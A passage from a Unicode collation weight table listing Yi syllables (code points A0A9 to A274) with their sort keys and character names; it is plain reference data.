+A0A9 ; [.3CD1.0020.0002] # YI SYLLABLE HMYX +A0AA ; [.3CD2.0020.0002] # YI SYLLABLE HMY +A0AB ; [.3CD3.0020.0002] # YI SYLLABLE HMYP +A0AC ; [.3CD4.0020.0002] # YI SYLLABLE HMYRX +A0AD ; [.3CD5.0020.0002] # YI SYLLABLE HMYR +A0AE ; [.3CD6.0020.0002] # YI SYLLABLE MIT +A0AF ; [.3CD7.0020.0002] # YI SYLLABLE MIX +A0B0 ; [.3CD8.0020.0002] # YI SYLLABLE MI +A0B1 ; [.3CD9.0020.0002] # YI SYLLABLE MIP +A0B2 ; [.3CDA.0020.0002] # YI SYLLABLE MIEX +A0B3 ; [.3CDB.0020.0002] # YI SYLLABLE MIE +A0B4 ; [.3CDC.0020.0002] # YI SYLLABLE MIEP +A0B5 ; [.3CDD.0020.0002] # YI SYLLABLE MAT +A0B6 ; [.3CDE.0020.0002] # YI SYLLABLE MAX +A0B7 ; [.3CDF.0020.0002] # YI SYLLABLE MA +A0B8 ; [.3CE0.0020.0002] # YI SYLLABLE MAP +A0B9 ; [.3CE1.0020.0002] # YI SYLLABLE MUOT +A0BA ; [.3CE2.0020.0002] # YI SYLLABLE MUOX +A0BB ; [.3CE3.0020.0002] # YI SYLLABLE MUO +A0BC ; [.3CE4.0020.0002] # YI SYLLABLE MUOP +A0BD ; [.3CE5.0020.0002] # YI SYLLABLE MOT +A0BE ; [.3CE6.0020.0002] # YI SYLLABLE MOX +A0BF ; [.3CE7.0020.0002] # YI SYLLABLE MO +A0C0 ; [.3CE8.0020.0002] # YI SYLLABLE MOP +A0C1 ; [.3CE9.0020.0002] # YI SYLLABLE MEX +A0C2 ; [.3CEA.0020.0002] # YI SYLLABLE ME +A0C3 ; [.3CEB.0020.0002] # YI SYLLABLE MUT +A0C4 ; [.3CEC.0020.0002] # YI SYLLABLE MUX +A0C5 ; [.3CED.0020.0002] # YI SYLLABLE MU +A0C6 ; [.3CEE.0020.0002] # YI SYLLABLE MUP +A0C7 ; [.3CEF.0020.0002] # YI SYLLABLE MURX +A0C8 ; [.3CF0.0020.0002] # YI SYLLABLE MUR +A0C9 ; [.3CF1.0020.0002] # YI SYLLABLE MYT +A0CA ; [.3CF2.0020.0002] # YI SYLLABLE MYX +A0CB ; [.3CF3.0020.0002] # YI SYLLABLE MY +A0CC ; [.3CF4.0020.0002] # YI SYLLABLE MYP +A0CD ; [.3CF5.0020.0002] # YI SYLLABLE FIT +A0CE ; [.3CF6.0020.0002] # YI SYLLABLE FIX +A0CF ; [.3CF7.0020.0002] # YI SYLLABLE FI +A0D0 ; [.3CF8.0020.0002] # YI SYLLABLE FIP +A0D1 ; [.3CF9.0020.0002] # YI SYLLABLE FAT +A0D2 ; [.3CFA.0020.0002] # YI SYLLABLE FAX +A0D3 ; [.3CFB.0020.0002] # YI SYLLABLE FA +A0D4 ; [.3CFC.0020.0002] # YI SYLLABLE FAP +A0D5 ; [.3CFD.0020.0002] # YI SYLLABLE FOX +A0D6 ; [.3CFE.0020.0002] # YI SYLLABLE FO +A0D7 ; [.3CFF.0020.0002] # YI SYLLABLE FOP +A0D8 ; [.3D00.0020.0002] # YI SYLLABLE FUT +A0D9 ; [.3D01.0020.0002] # YI SYLLABLE FUX +A0DA ; [.3D02.0020.0002] # YI SYLLABLE FU +A0DB ; [.3D03.0020.0002] # YI SYLLABLE FUP +A0DC ; [.3D04.0020.0002] # YI SYLLABLE FURX +A0DD ; [.3D05.0020.0002] # YI SYLLABLE FUR +A0DE ; [.3D06.0020.0002] # YI SYLLABLE FYT +A0DF ; [.3D07.0020.0002] # YI SYLLABLE FYX +A0E0 ; [.3D08.0020.0002] # YI SYLLABLE FY +A0E1 ; [.3D09.0020.0002] # YI SYLLABLE FYP +A0E2 ; [.3D0A.0020.0002] # YI SYLLABLE VIT +A0E3 ; [.3D0B.0020.0002] # YI SYLLABLE VIX +A0E4 ; [.3D0C.0020.0002] # YI SYLLABLE VI +A0E5 ; [.3D0D.0020.0002] # YI SYLLABLE VIP +A0E6 ; [.3D0E.0020.0002] # YI SYLLABLE VIET +A0E7 ; [.3D0F.0020.0002] # YI SYLLABLE VIEX +A0E8 ; [.3D10.0020.0002] # YI SYLLABLE VIE +A0E9 ; [.3D11.0020.0002] # YI SYLLABLE VIEP +A0EA ; [.3D12.0020.0002] # YI SYLLABLE VAT +A0EB ; [.3D13.0020.0002] # YI SYLLABLE VAX +A0EC ; [.3D14.0020.0002] # YI SYLLABLE VA +A0ED ; [.3D15.0020.0002] # YI SYLLABLE VAP +A0EE ; [.3D16.0020.0002] # YI SYLLABLE VOT +A0EF ; [.3D17.0020.0002] # YI SYLLABLE VOX +A0F0 ; [.3D18.0020.0002] # YI SYLLABLE VO +A0F1 ; [.3D19.0020.0002] # YI SYLLABLE VOP +A0F2 ; [.3D1A.0020.0002] # YI SYLLABLE VEX +A0F3 ; [.3D1B.0020.0002] # YI SYLLABLE VEP +A0F4 ; [.3D1C.0020.0002] # YI SYLLABLE VUT +A0F5 ; [.3D1D.0020.0002] # YI SYLLABLE VUX +A0F6 ; [.3D1E.0020.0002] # YI SYLLABLE VU +A0F7 ; [.3D1F.0020.0002] # YI SYLLABLE VUP +A0F8 ; [.3D20.0020.0002] # YI SYLLABLE VURX +A0F9 ; [.3D21.0020.0002] # YI SYLLABLE VUR +A0FA ; [.3D22.0020.0002] # YI SYLLABLE VYT +A0FB ; [.3D23.0020.0002] # YI SYLLABLE VYX +A0FC ; [.3D24.0020.0002] # YI SYLLABLE VY +A0FD ; [.3D25.0020.0002] # YI SYLLABLE VYP +A0FE ; [.3D26.0020.0002] # YI SYLLABLE VYRX +A0FF ; [.3D27.0020.0002] # YI SYLLABLE VYR +A100 ; [.3D28.0020.0002] # YI SYLLABLE DIT +A101 ; [.3D29.0020.0002] # YI SYLLABLE DIX +A102 ; [.3D2A.0020.0002] # YI SYLLABLE DI +A103 ; [.3D2B.0020.0002] # YI SYLLABLE DIP +A104 ; [.3D2C.0020.0002] # YI SYLLABLE DIEX +A105 ; [.3D2D.0020.0002] # YI SYLLABLE DIE +A106 ; [.3D2E.0020.0002] # YI SYLLABLE DIEP +A107 ; [.3D2F.0020.0002] # YI SYLLABLE DAT +A108 ; [.3D30.0020.0002] # YI SYLLABLE DAX +A109 ; [.3D31.0020.0002] # YI SYLLABLE DA +A10A ; [.3D32.0020.0002] # YI SYLLABLE DAP +A10B ; [.3D33.0020.0002] # YI SYLLABLE DUOX +A10C ; [.3D34.0020.0002] # YI SYLLABLE DUO +A10D ; [.3D35.0020.0002] # YI SYLLABLE DOT +A10E ; [.3D36.0020.0002] # YI SYLLABLE DOX +A10F ; [.3D37.0020.0002] # YI SYLLABLE DO +A110 ; [.3D38.0020.0002] # YI SYLLABLE DOP +A111 ; [.3D39.0020.0002] # YI SYLLABLE DEX +A112 ; [.3D3A.0020.0002] # YI SYLLABLE DE +A113 ; [.3D3B.0020.0002] # YI SYLLABLE DEP +A114 ; [.3D3C.0020.0002] # YI SYLLABLE DUT +A115 ; [.3D3D.0020.0002] # YI SYLLABLE DUX +A116 ; [.3D3E.0020.0002] # YI SYLLABLE DU +A117 ; [.3D3F.0020.0002] # YI SYLLABLE DUP +A118 ; [.3D40.0020.0002] # YI SYLLABLE DURX +A119 ; [.3D41.0020.0002] # YI SYLLABLE DUR +A11A ; [.3D42.0020.0002] # YI SYLLABLE TIT +A11B ; [.3D43.0020.0002] # YI SYLLABLE TIX +A11C ; [.3D44.0020.0002] # YI SYLLABLE TI +A11D ; [.3D45.0020.0002] # YI SYLLABLE TIP +A11E ; [.3D46.0020.0002] # YI SYLLABLE TIEX +A11F ; [.3D47.0020.0002] # YI SYLLABLE TIE +A120 ; [.3D48.0020.0002] # YI SYLLABLE TIEP +A121 ; [.3D49.0020.0002] # YI SYLLABLE TAT +A122 ; [.3D4A.0020.0002] # YI SYLLABLE TAX +A123 ; [.3D4B.0020.0002] # YI SYLLABLE TA +A124 ; [.3D4C.0020.0002] # YI SYLLABLE TAP +A125 ; [.3D4D.0020.0002] # YI SYLLABLE TUOT +A126 ; [.3D4E.0020.0002] # YI SYLLABLE TUOX +A127 ; [.3D4F.0020.0002] # YI SYLLABLE TUO +A128 ; [.3D50.0020.0002] # YI SYLLABLE TUOP +A129 ; [.3D51.0020.0002] # YI SYLLABLE TOT +A12A ; [.3D52.0020.0002] # YI SYLLABLE TOX +A12B ; [.3D53.0020.0002] # YI SYLLABLE TO +A12C ; [.3D54.0020.0002] # YI SYLLABLE TOP +A12D ; [.3D55.0020.0002] # YI SYLLABLE TEX +A12E ; [.3D56.0020.0002] # YI SYLLABLE TE +A12F ; [.3D57.0020.0002] # YI SYLLABLE TEP +A130 ; [.3D58.0020.0002] # YI SYLLABLE TUT +A131 ; [.3D59.0020.0002] # YI SYLLABLE TUX +A132 ; [.3D5A.0020.0002] # YI SYLLABLE TU +A133 ; [.3D5B.0020.0002] # YI SYLLABLE TUP +A134 ; [.3D5C.0020.0002] # YI SYLLABLE TURX +A135 ; [.3D5D.0020.0002] # YI SYLLABLE TUR +A136 ; [.3D5E.0020.0002] # YI SYLLABLE DDIT +A137 ; [.3D5F.0020.0002] # YI SYLLABLE DDIX +A138 ; [.3D60.0020.0002] # YI SYLLABLE DDI +A139 ; [.3D61.0020.0002] # YI SYLLABLE DDIP +A13A ; [.3D62.0020.0002] # YI SYLLABLE DDIEX +A13B ; [.3D63.0020.0002] # YI SYLLABLE DDIE +A13C ; [.3D64.0020.0002] # YI SYLLABLE DDIEP +A13D ; [.3D65.0020.0002] # YI SYLLABLE DDAT +A13E ; [.3D66.0020.0002] # YI SYLLABLE DDAX +A13F ; [.3D67.0020.0002] # YI SYLLABLE DDA +A140 ; [.3D68.0020.0002] # YI SYLLABLE DDAP +A141 ; [.3D69.0020.0002] # YI SYLLABLE DDUOX +A142 ; [.3D6A.0020.0002] # YI SYLLABLE DDUO +A143 ; [.3D6B.0020.0002] # YI SYLLABLE DDUOP +A144 ; [.3D6C.0020.0002] # YI SYLLABLE DDOT +A145 ; [.3D6D.0020.0002] # YI SYLLABLE DDOX +A146 ; [.3D6E.0020.0002] # YI SYLLABLE DDO +A147 ; [.3D6F.0020.0002] # YI SYLLABLE DDOP +A148 ; [.3D70.0020.0002] # YI SYLLABLE DDEX +A149 ; [.3D71.0020.0002] # YI SYLLABLE DDE +A14A ; [.3D72.0020.0002] # YI SYLLABLE DDEP +A14B ; [.3D73.0020.0002] # YI SYLLABLE DDUT +A14C ; [.3D74.0020.0002] # YI SYLLABLE DDUX +A14D ; [.3D75.0020.0002] # YI SYLLABLE DDU +A14E ; [.3D76.0020.0002] # YI SYLLABLE DDUP +A14F ; [.3D77.0020.0002] # YI SYLLABLE DDURX +A150 ; [.3D78.0020.0002] # YI SYLLABLE DDUR +A151 ; [.3D79.0020.0002] # YI SYLLABLE NDIT +A152 ; [.3D7A.0020.0002] # YI SYLLABLE NDIX +A153 ; [.3D7B.0020.0002] # YI SYLLABLE NDI +A154 ; [.3D7C.0020.0002] # YI SYLLABLE NDIP +A155 ; [.3D7D.0020.0002] # YI SYLLABLE NDIEX +A156 ; [.3D7E.0020.0002] # YI SYLLABLE NDIE +A157 ; [.3D7F.0020.0002] # YI SYLLABLE NDAT +A158 ; [.3D80.0020.0002] # YI SYLLABLE NDAX +A159 ; [.3D81.0020.0002] # YI SYLLABLE NDA +A15A ; [.3D82.0020.0002] # YI SYLLABLE NDAP +A15B ; [.3D83.0020.0002] # YI SYLLABLE NDOT +A15C ; [.3D84.0020.0002] # YI SYLLABLE NDOX +A15D ; [.3D85.0020.0002] # YI SYLLABLE NDO +A15E ; [.3D86.0020.0002] # YI SYLLABLE NDOP +A15F ; [.3D87.0020.0002] # YI SYLLABLE NDEX +A160 ; [.3D88.0020.0002] # YI SYLLABLE NDE +A161 ; [.3D89.0020.0002] # YI SYLLABLE NDEP +A162 ; [.3D8A.0020.0002] # YI SYLLABLE NDUT +A163 ; [.3D8B.0020.0002] # YI SYLLABLE NDUX +A164 ; [.3D8C.0020.0002] # YI SYLLABLE NDU +A165 ; [.3D8D.0020.0002] # YI SYLLABLE NDUP +A166 ; [.3D8E.0020.0002] # YI SYLLABLE NDURX +A167 ; [.3D8F.0020.0002] # YI SYLLABLE NDUR +A168 ; [.3D90.0020.0002] # YI SYLLABLE HNIT +A169 ; [.3D91.0020.0002] # YI SYLLABLE HNIX +A16A ; [.3D92.0020.0002] # YI SYLLABLE HNI +A16B ; [.3D93.0020.0002] # YI SYLLABLE HNIP +A16C ; [.3D94.0020.0002] # YI SYLLABLE HNIET +A16D ; [.3D95.0020.0002] # YI SYLLABLE HNIEX +A16E ; [.3D96.0020.0002] # YI SYLLABLE HNIE +A16F ; [.3D97.0020.0002] # YI SYLLABLE HNIEP +A170 ; [.3D98.0020.0002] # YI SYLLABLE HNAT +A171 ; [.3D99.0020.0002] # YI SYLLABLE HNAX +A172 ; [.3D9A.0020.0002] # YI SYLLABLE HNA +A173 ; [.3D9B.0020.0002] # YI SYLLABLE HNAP +A174 ; [.3D9C.0020.0002] # YI SYLLABLE HNUOX +A175 ; [.3D9D.0020.0002] # YI SYLLABLE HNUO +A176 ; [.3D9E.0020.0002] # YI SYLLABLE HNOT +A177 ; [.3D9F.0020.0002] # YI SYLLABLE HNOX +A178 ; [.3DA0.0020.0002] # YI SYLLABLE HNOP +A179 ; [.3DA1.0020.0002] # YI SYLLABLE HNEX +A17A ; [.3DA2.0020.0002] # YI SYLLABLE HNE +A17B ; [.3DA3.0020.0002] # YI SYLLABLE HNEP +A17C ; [.3DA4.0020.0002] # YI SYLLABLE HNUT +A17D ; [.3DA5.0020.0002] # YI SYLLABLE NIT +A17E ; [.3DA6.0020.0002] # YI SYLLABLE NIX +A17F ; [.3DA7.0020.0002] # YI SYLLABLE NI +A180 ; [.3DA8.0020.0002] # YI SYLLABLE NIP +A181 ; [.3DA9.0020.0002] # YI SYLLABLE NIEX +A182 ; [.3DAA.0020.0002] # YI SYLLABLE NIE +A183 ; [.3DAB.0020.0002] # YI SYLLABLE NIEP +A184 ; [.3DAC.0020.0002] # YI SYLLABLE NAX +A185 ; [.3DAD.0020.0002] # YI SYLLABLE NA +A186 ; [.3DAE.0020.0002] # YI SYLLABLE NAP +A187 ; [.3DAF.0020.0002] # YI SYLLABLE NUOX +A188 ; [.3DB0.0020.0002] # YI SYLLABLE NUO +A189 ; [.3DB1.0020.0002] # YI SYLLABLE NUOP +A18A ; [.3DB2.0020.0002] # YI SYLLABLE NOT +A18B ; [.3DB3.0020.0002] # YI SYLLABLE NOX +A18C ; [.3DB4.0020.0002] # YI SYLLABLE NO +A18D ; [.3DB5.0020.0002] # YI SYLLABLE NOP +A18E ; [.3DB6.0020.0002] # YI SYLLABLE NEX +A18F ; [.3DB7.0020.0002] # YI SYLLABLE NE +A190 ; [.3DB8.0020.0002] # YI SYLLABLE NEP +A191 ; [.3DB9.0020.0002] # YI SYLLABLE NUT +A192 ; [.3DBA.0020.0002] # YI SYLLABLE NUX +A193 ; [.3DBB.0020.0002] # YI SYLLABLE NU +A194 ; [.3DBC.0020.0002] # YI SYLLABLE NUP +A195 ; [.3DBD.0020.0002] # YI SYLLABLE NURX +A196 ; [.3DBE.0020.0002] # YI SYLLABLE NUR +A197 ; [.3DBF.0020.0002] # YI SYLLABLE HLIT +A198 ; [.3DC0.0020.0002] # YI SYLLABLE HLIX +A199 ; [.3DC1.0020.0002] # YI SYLLABLE HLI +A19A ; [.3DC2.0020.0002] # YI SYLLABLE HLIP +A19B ; [.3DC3.0020.0002] # YI SYLLABLE HLIEX +A19C ; [.3DC4.0020.0002] # YI SYLLABLE HLIE +A19D ; [.3DC5.0020.0002] # YI SYLLABLE HLIEP +A19E ; [.3DC6.0020.0002] # YI SYLLABLE HLAT +A19F ; [.3DC7.0020.0002] # YI SYLLABLE HLAX +A1A0 ; [.3DC8.0020.0002] # YI SYLLABLE HLA +A1A1 ; [.3DC9.0020.0002] # YI SYLLABLE HLAP +A1A2 ; [.3DCA.0020.0002] # YI SYLLABLE HLUOX +A1A3 ; [.3DCB.0020.0002] # YI SYLLABLE HLUO +A1A4 ; [.3DCC.0020.0002] # YI SYLLABLE HLUOP +A1A5 ; [.3DCD.0020.0002] # YI SYLLABLE HLOX +A1A6 ; [.3DCE.0020.0002] # YI SYLLABLE HLO +A1A7 ; [.3DCF.0020.0002] # YI SYLLABLE HLOP +A1A8 ; [.3DD0.0020.0002] # YI SYLLABLE HLEX +A1A9 ; [.3DD1.0020.0002] # YI SYLLABLE HLE +A1AA ; [.3DD2.0020.0002] # YI SYLLABLE HLEP +A1AB ; [.3DD3.0020.0002] # YI SYLLABLE HLUT +A1AC ; [.3DD4.0020.0002] # YI SYLLABLE HLUX +A1AD ; [.3DD5.0020.0002] # YI SYLLABLE HLU +A1AE ; [.3DD6.0020.0002] # YI SYLLABLE HLUP +A1AF ; [.3DD7.0020.0002] # YI SYLLABLE HLURX +A1B0 ; [.3DD8.0020.0002] # YI SYLLABLE HLUR +A1B1 ; [.3DD9.0020.0002] # YI SYLLABLE HLYT +A1B2 ; [.3DDA.0020.0002] # YI SYLLABLE HLYX +A1B3 ; [.3DDB.0020.0002] # YI SYLLABLE HLY +A1B4 ; [.3DDC.0020.0002] # YI SYLLABLE HLYP +A1B5 ; [.3DDD.0020.0002] # YI SYLLABLE HLYRX +A1B6 ; [.3DDE.0020.0002] # YI SYLLABLE HLYR +A1B7 ; [.3DDF.0020.0002] # YI SYLLABLE LIT +A1B8 ; [.3DE0.0020.0002] # YI SYLLABLE LIX +A1B9 ; [.3DE1.0020.0002] # YI SYLLABLE LI +A1BA ; [.3DE2.0020.0002] # YI SYLLABLE LIP +A1BB ; [.3DE3.0020.0002] # YI SYLLABLE LIET +A1BC ; [.3DE4.0020.0002] # YI SYLLABLE LIEX +A1BD ; [.3DE5.0020.0002] # YI SYLLABLE LIE +A1BE ; [.3DE6.0020.0002] # YI SYLLABLE LIEP +A1BF ; [.3DE7.0020.0002] # YI SYLLABLE LAT +A1C0 ; [.3DE8.0020.0002] # YI SYLLABLE LAX +A1C1 ; [.3DE9.0020.0002] # YI SYLLABLE LA +A1C2 ; [.3DEA.0020.0002] # YI SYLLABLE LAP +A1C3 ; [.3DEB.0020.0002] # YI SYLLABLE LUOT +A1C4 ; [.3DEC.0020.0002] # YI SYLLABLE LUOX +A1C5 ; [.3DED.0020.0002] # YI SYLLABLE LUO +A1C6 ; [.3DEE.0020.0002] # YI SYLLABLE LUOP +A1C7 ; [.3DEF.0020.0002] # YI SYLLABLE LOT +A1C8 ; [.3DF0.0020.0002] # YI SYLLABLE LOX +A1C9 ; [.3DF1.0020.0002] # YI SYLLABLE LO +A1CA ; [.3DF2.0020.0002] # YI SYLLABLE LOP +A1CB ; [.3DF3.0020.0002] # YI SYLLABLE LEX +A1CC ; [.3DF4.0020.0002] # YI SYLLABLE LE +A1CD ; [.3DF5.0020.0002] # YI SYLLABLE LEP +A1CE ; [.3DF6.0020.0002] # YI SYLLABLE LUT +A1CF ; [.3DF7.0020.0002] # YI SYLLABLE LUX +A1D0 ; [.3DF8.0020.0002] # YI SYLLABLE LU +A1D1 ; [.3DF9.0020.0002] # YI SYLLABLE LUP +A1D2 ; [.3DFA.0020.0002] # YI SYLLABLE LURX +A1D3 ; [.3DFB.0020.0002] # YI SYLLABLE LUR +A1D4 ; [.3DFC.0020.0002] # YI SYLLABLE LYT +A1D5 ; [.3DFD.0020.0002] # YI SYLLABLE LYX +A1D6 ; [.3DFE.0020.0002] # YI SYLLABLE LY +A1D7 ; [.3DFF.0020.0002] # YI SYLLABLE LYP +A1D8 ; [.3E00.0020.0002] # YI SYLLABLE LYRX +A1D9 ; [.3E01.0020.0002] # YI SYLLABLE LYR +A1DA ; [.3E02.0020.0002] # YI SYLLABLE GIT +A1DB ; [.3E03.0020.0002] # YI SYLLABLE GIX +A1DC ; [.3E04.0020.0002] # YI SYLLABLE GI +A1DD ; [.3E05.0020.0002] # YI SYLLABLE GIP +A1DE ; [.3E06.0020.0002] # YI SYLLABLE GIET +A1DF ; [.3E07.0020.0002] # YI SYLLABLE GIEX +A1E0 ; [.3E08.0020.0002] # YI SYLLABLE GIE +A1E1 ; [.3E09.0020.0002] # YI SYLLABLE GIEP +A1E2 ; [.3E0A.0020.0002] # YI SYLLABLE GAT +A1E3 ; [.3E0B.0020.0002] # YI SYLLABLE GAX +A1E4 ; [.3E0C.0020.0002] # YI SYLLABLE GA +A1E5 ; [.3E0D.0020.0002] # YI SYLLABLE GAP +A1E6 ; [.3E0E.0020.0002] # YI SYLLABLE GUOT +A1E7 ; [.3E0F.0020.0002] # YI SYLLABLE GUOX +A1E8 ; [.3E10.0020.0002] # YI SYLLABLE GUO +A1E9 ; [.3E11.0020.0002] # YI SYLLABLE GUOP +A1EA ; [.3E12.0020.0002] # YI SYLLABLE GOT +A1EB ; [.3E13.0020.0002] # YI SYLLABLE GOX +A1EC ; [.3E14.0020.0002] # YI SYLLABLE GO +A1ED ; [.3E15.0020.0002] # YI SYLLABLE GOP +A1EE ; [.3E16.0020.0002] # YI SYLLABLE GET +A1EF ; [.3E17.0020.0002] # YI SYLLABLE GEX +A1F0 ; [.3E18.0020.0002] # YI SYLLABLE GE +A1F1 ; [.3E19.0020.0002] # YI SYLLABLE GEP +A1F2 ; [.3E1A.0020.0002] # YI SYLLABLE GUT +A1F3 ; [.3E1B.0020.0002] # YI SYLLABLE GUX +A1F4 ; [.3E1C.0020.0002] # YI SYLLABLE GU +A1F5 ; [.3E1D.0020.0002] # YI SYLLABLE GUP +A1F6 ; [.3E1E.0020.0002] # YI SYLLABLE GURX +A1F7 ; [.3E1F.0020.0002] # YI SYLLABLE GUR +A1F8 ; [.3E20.0020.0002] # YI SYLLABLE KIT +A1F9 ; [.3E21.0020.0002] # YI SYLLABLE KIX +A1FA ; [.3E22.0020.0002] # YI SYLLABLE KI +A1FB ; [.3E23.0020.0002] # YI SYLLABLE KIP +A1FC ; [.3E24.0020.0002] # YI SYLLABLE KIEX +A1FD ; [.3E25.0020.0002] # YI SYLLABLE KIE +A1FE ; [.3E26.0020.0002] # YI SYLLABLE KIEP +A1FF ; [.3E27.0020.0002] # YI SYLLABLE KAT +A200 ; [.3E28.0020.0002] # YI SYLLABLE KAX +A201 ; [.3E29.0020.0002] # YI SYLLABLE KA +A202 ; [.3E2A.0020.0002] # YI SYLLABLE KAP +A203 ; [.3E2B.0020.0002] # YI SYLLABLE KUOX +A204 ; [.3E2C.0020.0002] # YI SYLLABLE KUO +A205 ; [.3E2D.0020.0002] # YI SYLLABLE KUOP +A206 ; [.3E2E.0020.0002] # YI SYLLABLE KOT +A207 ; [.3E2F.0020.0002] # YI SYLLABLE KOX +A208 ; [.3E30.0020.0002] # YI SYLLABLE KO +A209 ; [.3E31.0020.0002] # YI SYLLABLE KOP +A20A ; [.3E32.0020.0002] # YI SYLLABLE KET +A20B ; [.3E33.0020.0002] # YI SYLLABLE KEX +A20C ; [.3E34.0020.0002] # YI SYLLABLE KE +A20D ; [.3E35.0020.0002] # YI SYLLABLE KEP +A20E ; [.3E36.0020.0002] # YI SYLLABLE KUT +A20F ; [.3E37.0020.0002] # YI SYLLABLE KUX +A210 ; [.3E38.0020.0002] # YI SYLLABLE KU +A211 ; [.3E39.0020.0002] # YI SYLLABLE KUP +A212 ; [.3E3A.0020.0002] # YI SYLLABLE KURX +A213 ; [.3E3B.0020.0002] # YI SYLLABLE KUR +A214 ; [.3E3C.0020.0002] # YI SYLLABLE GGIT +A215 ; [.3E3D.0020.0002] # YI SYLLABLE GGIX +A216 ; [.3E3E.0020.0002] # YI SYLLABLE GGI +A217 ; [.3E3F.0020.0002] # YI SYLLABLE GGIEX +A218 ; [.3E40.0020.0002] # YI SYLLABLE GGIE +A219 ; [.3E41.0020.0002] # YI SYLLABLE GGIEP +A21A ; [.3E42.0020.0002] # YI SYLLABLE GGAT +A21B ; [.3E43.0020.0002] # YI SYLLABLE GGAX +A21C ; [.3E44.0020.0002] # YI SYLLABLE GGA +A21D ; [.3E45.0020.0002] # YI SYLLABLE GGAP +A21E ; [.3E46.0020.0002] # YI SYLLABLE GGUOT +A21F ; [.3E47.0020.0002] # YI SYLLABLE GGUOX +A220 ; [.3E48.0020.0002] # YI SYLLABLE GGUO +A221 ; [.3E49.0020.0002] # YI SYLLABLE GGUOP +A222 ; [.3E4A.0020.0002] # YI SYLLABLE GGOT +A223 ; [.3E4B.0020.0002] # YI SYLLABLE GGOX +A224 ; [.3E4C.0020.0002] # YI SYLLABLE GGO +A225 ; [.3E4D.0020.0002] # YI SYLLABLE GGOP +A226 ; [.3E4E.0020.0002] # YI SYLLABLE GGET +A227 ; [.3E4F.0020.0002] # YI SYLLABLE GGEX +A228 ; [.3E50.0020.0002] # YI SYLLABLE GGE +A229 ; [.3E51.0020.0002] # YI SYLLABLE GGEP +A22A ; [.3E52.0020.0002] # YI SYLLABLE GGUT +A22B ; [.3E53.0020.0002] # YI SYLLABLE GGUX +A22C ; [.3E54.0020.0002] # YI SYLLABLE GGU +A22D ; [.3E55.0020.0002] # YI SYLLABLE GGUP +A22E ; [.3E56.0020.0002] # YI SYLLABLE GGURX +A22F ; [.3E57.0020.0002] # YI SYLLABLE GGUR +A230 ; [.3E58.0020.0002] # YI SYLLABLE MGIEX +A231 ; [.3E59.0020.0002] # YI SYLLABLE MGIE +A232 ; [.3E5A.0020.0002] # YI SYLLABLE MGAT +A233 ; [.3E5B.0020.0002] # YI SYLLABLE MGAX +A234 ; [.3E5C.0020.0002] # YI SYLLABLE MGA +A235 ; [.3E5D.0020.0002] # YI SYLLABLE MGAP +A236 ; [.3E5E.0020.0002] # YI SYLLABLE MGUOX +A237 ; [.3E5F.0020.0002] # YI SYLLABLE MGUO +A238 ; [.3E60.0020.0002] # YI SYLLABLE MGUOP +A239 ; [.3E61.0020.0002] # YI SYLLABLE MGOT +A23A ; [.3E62.0020.0002] # YI SYLLABLE MGOX +A23B ; [.3E63.0020.0002] # YI SYLLABLE MGO +A23C ; [.3E64.0020.0002] # YI SYLLABLE MGOP +A23D ; [.3E65.0020.0002] # YI SYLLABLE MGEX +A23E ; [.3E66.0020.0002] # YI SYLLABLE MGE +A23F ; [.3E67.0020.0002] # YI SYLLABLE MGEP +A240 ; [.3E68.0020.0002] # YI SYLLABLE MGUT +A241 ; [.3E69.0020.0002] # YI SYLLABLE MGUX +A242 ; [.3E6A.0020.0002] # YI SYLLABLE MGU +A243 ; [.3E6B.0020.0002] # YI SYLLABLE MGUP +A244 ; [.3E6C.0020.0002] # YI SYLLABLE MGURX +A245 ; [.3E6D.0020.0002] # YI SYLLABLE MGUR +A246 ; [.3E6E.0020.0002] # YI SYLLABLE HXIT +A247 ; [.3E6F.0020.0002] # YI SYLLABLE HXIX +A248 ; [.3E70.0020.0002] # YI SYLLABLE HXI +A249 ; [.3E71.0020.0002] # YI SYLLABLE HXIP +A24A ; [.3E72.0020.0002] # YI SYLLABLE HXIET +A24B ; [.3E73.0020.0002] # YI SYLLABLE HXIEX +A24C ; [.3E74.0020.0002] # YI SYLLABLE HXIE +A24D ; [.3E75.0020.0002] # YI SYLLABLE HXIEP +A24E ; [.3E76.0020.0002] # YI SYLLABLE HXAT +A24F ; [.3E77.0020.0002] # YI SYLLABLE HXAX +A250 ; [.3E78.0020.0002] # YI SYLLABLE HXA +A251 ; [.3E79.0020.0002] # YI SYLLABLE HXAP +A252 ; [.3E7A.0020.0002] # YI SYLLABLE HXUOT +A253 ; [.3E7B.0020.0002] # YI SYLLABLE HXUOX +A254 ; [.3E7C.0020.0002] # YI SYLLABLE HXUO +A255 ; [.3E7D.0020.0002] # YI SYLLABLE HXUOP +A256 ; [.3E7E.0020.0002] # YI SYLLABLE HXOT +A257 ; [.3E7F.0020.0002] # YI SYLLABLE HXOX +A258 ; [.3E80.0020.0002] # YI SYLLABLE HXO +A259 ; [.3E81.0020.0002] # YI SYLLABLE HXOP +A25A ; [.3E82.0020.0002] # YI SYLLABLE HXEX +A25B ; [.3E83.0020.0002] # YI SYLLABLE HXE +A25C ; [.3E84.0020.0002] # YI SYLLABLE HXEP +A25D ; [.3E85.0020.0002] # YI SYLLABLE NGIEX +A25E ; [.3E86.0020.0002] # YI SYLLABLE NGIE +A25F ; [.3E87.0020.0002] # YI SYLLABLE NGIEP +A260 ; [.3E88.0020.0002] # YI SYLLABLE NGAT +A261 ; [.3E89.0020.0002] # YI SYLLABLE NGAX +A262 ; [.3E8A.0020.0002] # YI SYLLABLE NGA +A263 ; [.3E8B.0020.0002] # YI SYLLABLE NGAP +A264 ; [.3E8C.0020.0002] # YI SYLLABLE NGUOT +A265 ; [.3E8D.0020.0002] # YI SYLLABLE NGUOX +A266 ; [.3E8E.0020.0002] # YI SYLLABLE NGUO +A267 ; [.3E8F.0020.0002] # YI SYLLABLE NGOT +A268 ; [.3E90.0020.0002] # YI SYLLABLE NGOX +A269 ; [.3E91.0020.0002] # YI SYLLABLE NGO +A26A ; [.3E92.0020.0002] # YI SYLLABLE NGOP +A26B ; [.3E93.0020.0002] # YI SYLLABLE NGEX +A26C ; [.3E94.0020.0002] # YI SYLLABLE NGE +A26D ; [.3E95.0020.0002] # YI SYLLABLE NGEP +A26E ; [.3E96.0020.0002] # YI SYLLABLE HIT +A26F ; [.3E97.0020.0002] # YI SYLLABLE HIEX +A270 ; [.3E98.0020.0002] # YI SYLLABLE HIE +A271 ; [.3E99.0020.0002] # YI SYLLABLE HAT +A272 ; [.3E9A.0020.0002] # YI SYLLABLE HAX +A273 ; [.3E9B.0020.0002] # YI SYLLABLE HA +A274 ; [.3E9C.0020.0002] # YI SYLLABLE HAP +A275 ; 